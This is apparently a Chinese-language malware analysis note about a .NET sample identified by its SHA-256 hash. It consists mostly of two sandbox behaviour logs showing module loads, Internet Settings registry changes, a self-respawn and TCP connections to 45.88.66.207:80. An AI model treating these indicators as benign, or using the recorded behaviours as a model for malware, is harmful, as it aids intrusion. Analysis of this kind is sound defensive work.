样本分析 99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d 由于.net程序配置文件缺失导致无法正常运行

 

https://s.threatbook.com/report/file/99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
09:30:16:088,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_create,    C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,  parent_pid:200 cmdline:'C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe' image_base:0x0000000000C60000 image_size:0x000D8000 ,    0x00000000 [操作成功完成。  ],
09:30:16:104,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\Microsoft.NET\Framework, filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:16:126,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib,    filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:16:126,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\f2d02f64584169cfed0597e2d00f0a67\mscorlib.ni.dll,   base:0x000000006E650000 size:0x0140E000 ,   0x00000000 [操作成功完成。  ],
09:30:16:126,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#,    filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:16:126,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System,  filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:16:126,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System\d06666c43ff6c690db91fd4cde7ddf1c\System.ni.dll,   base:0x0000000070BA0000 size:0x00A55000 ,   0x00000000 [操作成功完成。  ],
09:30:16:126,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core, filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:16:142,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\55a85a201d7cfebdc16d4357e3c4efb2\System.Core.ni.dll, base:0x000000006DE30000 size:0x00818000 ,   0x00000000 [操作成功完成。  ],
09:30:16:142,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\03a6965bc1bb789f37779e8951ecafc7\Microsoft.VisualBasic.ni.dll,  base:0x0000000072AC0000 size:0x001E2000 ,   0x00000000 [操作成功完成。  ],
09:30:16:142,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms,    filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:16:142,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing,  filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:16:142,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\ef599b69e76b0aaae802df819481912b\System.Drawing.ni.dll,   base:0x0000000072600000 size:0x001A3000 ,   0x00000000 [操作成功完成。  ],
09:30:16:142,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\dd2f3bb5941e68b9d4d6affbe6fcc632\System.Windows.Forms.ni.dll,   base:0x000000006CFC0000 size:0x00E68000 ,   0x00000000 [操作成功完成。  ],
09:30:16:810,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration,    filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:16:810,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\6b3b4bf6dbe30207f4ef50f235d9a8ab\System.Configuration.ni.dll,   base:0x00000000738A0000 size:0x00106000 ,   0x00000000 [操作成功完成。  ],
09:30:16:810,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml,  filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:16:825,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_module_load,   C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\7f615844ab7c9db651cca958c10624f5\System.Xml.ni.dll,   base:0x000000006C840000 size:0x00774000 ,   0x00000000 [操作成功完成。  ],
09:30:16:831,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_module_load,   C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.737_none_588eeadb78ace734\comctl32.dll, base:0x00000000730A0000 size:0x0008E000 ,   0x00000000 [操作成功完成。  ],
09:30:16:831,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_module_load,   C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.17763.737_none_7e4e6d38762cf81f\GdiPlus.dll,   base:0x0000000073BF0000 size:0x0016F000 ,   0x00000000 [操作成功完成。  ],
09:30:16:864,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms.resources,  filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:16:864,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms.resources,  filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:16:864,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms.resources,  filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:19:800,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\Microsoft.NET\assembly\GAC_MSIL\mscorlib.resources,  filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:19:800,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\Microsoft.NET\assembly\GAC_MSIL\mscorlib.resources,  filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:19:800,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:4832,  1908,   FILE_readdir,   C:\Windows\Microsoft.NET\assembly\GAC_MSIL\mscorlib.resources,  filter:'*' ,    0x00000000 [操作成功完成。  ],
09:30:19:860,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   PROC_exec,  C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,  target_pid:1672 cmdline:'"C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe"' , 0x00000000 [操作成功完成。  ],
09:30:52:418,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:0, 1908,   EXEC_create,    C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,  parent_pid:1908 cmdline:'"C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe"' image_base:0x0000000000C60000 image_size:0x000D8000 , 0x00000000 [操作成功完成。  ],
09:30:52:433,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:0, 1908,   EXEC_module_load,   C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.17763.737_none_7e4e6d38762cf81f\GdiPlus.dll,   base:0x0000000073BF0000 size:0x0016F000 ,   0x00000000 [操作成功完成。  ],
09:30:52:449,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1908:0, 1908,   EXEC_destroy,   C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,  parent_pid:200 cmdline:'C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe' ,    0x00000000 [操作成功完成。  ],
09:30:52:464,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:9140,  1908,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix, type:0x00000001 datalen:2 data:'00 ' ,  0x00000000 [操作成功完成。  ],
09:30:52:464,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:9140,  1908,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix, type:0x00000001 datalen:16 data:'43 6F 6F 6B 69 65 3A 00 ' ,    0x00000000 [操作成功完成。  ],
09:30:52:464,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:9140,  1908,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix, type:0x00000001 datalen:18 data:'56 69 73 69 74 65 64 3A 00 ' , 0x00000000 [操作成功完成。  ],
09:30:52:464,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:3828,  1908,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass,   type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [操作成功完成。  ],
09:30:52:464,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:3828,  1908,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName,  type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [操作成功完成。  ],
09:30:52:464,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:3828,  1908,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet, type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [操作成功完成。  ],
09:30:52:464,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:3828,  1908,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect,    type:0x00000004 datalen:4 data:'00 00 00 00 ' , 0x00000000 [操作成功完成。  ],
09:30:52:464,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:3828,  1908,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass,   type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [操作成功完成。  ],
09:30:52:464,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:3828,  1908,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName,  type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [操作成功完成。  ],
09:30:52:464,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:3828,  1908,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet, type:0x00000004 datalen:4 data:'01 00 00 00 ' , 0x00000000 [操作成功完成。  ],
09:30:52:464,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:3828,  1908,   REG_setval, HKEY_USERS\S-1-5-21-2451103786-187343032-3810694054-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect,    type:0x00000004 datalen:4 data:'00 00 00 00 ' , 0x00000000 [操作成功完成。  ],
09:30:52:480,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:3828,  1908,   NET_connect,    45.88.66.207:80,    protocol:(TCP)0 ,   0x00000000 [操作成功完成。  ],
09:31:06:433,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   1672:9140,  1908,   NET_connect,    45.88.66.207:80,    protocol:(TCP)0 ,   0x00000000 [操作成功完成。  ],

　　

如果是英文环境运行，则：

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
09:37:10:492,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:0, 9028,   EXEC_create,    C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,  parent_pid:8200 cmdline:'C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe' image_base:0x0000000000E70000 image_size:0x000D8000 ,   0x00000000 [The operation completed successfully.  ],  
09:37:10:507,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:7628,  9028,   FILE_read,  C:\Windows\Prefetch\99EDDC2794077F97A5CFE3098F431-2A2C7994.pf,  offset:0x00000000 datalen:0x00003C5B ,  0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:6216,  9028,   FILE_chmod, C:\Windows\System32\wow64win.dll,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:6216,  9028,   FILE_chmod, C:\Windows\System32\kernel32.dll,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\System32\wow64.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\System32\wow64cpu.dll,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\ntdll.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:108,   9028,   FILE_chmod, C:\Windows\System32\ntdll.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Users\bonelee\Desktop\99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:108,   9028,   FILE_chmod, C:\Windows\SysWOW64\mscoree.dll,    attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\KernelBase.dll, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:108,   9028,   FILE_chmod, C:\Windows\SysWOW64\msvcrt.dll, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\advapi32.dll,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\rpcrt4.dll, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\sspicli.dll,    attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:5968,  9028,   FILE_chmod, C:\Windows\SysWOW64\kernel32.dll,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:328,   9028,   FILE_chmod, C:\Windows\System32\locale.nls, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:328,   9028,   FILE_chmod, C:\Windows\SysWOW64\bcryptprimitives.dll,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\cryptbase.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\ucrtbase.dll,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:6264,  9028,   FILE_chmod, C:\Windows\SysWOW64\gdi32.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\gdi32full.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:6264,  9028,   FILE_chmod, C:\Windows\SysWOW64\msvcp_win.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\user32.dll, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\kernel.appcore.dll, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\vcruntime140_clr0400.dll,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:5888,  9028,   FILE_chmod, C:\Windows\SysWOW64\version.dll,    attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:32,    9028,   FILE_chmod, C:\Windows\SysWOW64\imm32.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:32,    9028,   FILE_chmod, C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config,    attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:5888,  9028,   FILE_chmod, C:\Windows\SysWOW64\psapi.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\ucrtbase_clr0400.dll,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\ole32.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:5888,  9028,   FILE_chmod, C:\Windows\SysWOW64\oleaut32.dll,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:5888,  9028,   FILE_chmod, C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\uxtheme.dll,    attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:328,   9028,   FILE_chmod, C:\Windows\SysWOW64\combase.dll,    attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\SysWOW64\bcrypt.dll, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:5968,  9028,   FILE_chmod, C:\Windows\SysWOW64\shlwapi.dll,    attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:6216,  9028,   FILE_chmod, C:\Windows\System32\user32.dll, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:108,   9028,   FILE_chmod, C:\Windows\SysWOW64\sechost.dll,    attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:6264,  9028,   FILE_chmod, C:\Windows\SysWOW64\win32u.dll, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:32,    9028,   FILE_chmod, C:\Windows\Globalization\Sorting\SortDefault.nls,   attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:236,   9028,   FILE_chmod, C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:523,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:96,    9028,   FILE_chmod, C:\Windows\Microsoft.NET\Framework\v4.0.30319\zh-Hans\mscorrc.dll,  attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:539,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:5888,  9028,   FILE_chmod, C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll, attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
09:37:10:539,   99eddc2794077f97a5cfe3098f431c4cfc4fd6353957ee715b2eccbff066ce1d.exe,   9028:328,   9028,   FILE_chmod, C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll,    attrib:0x00000000 , 0x00000000 [The operation completed successfully.  ],  
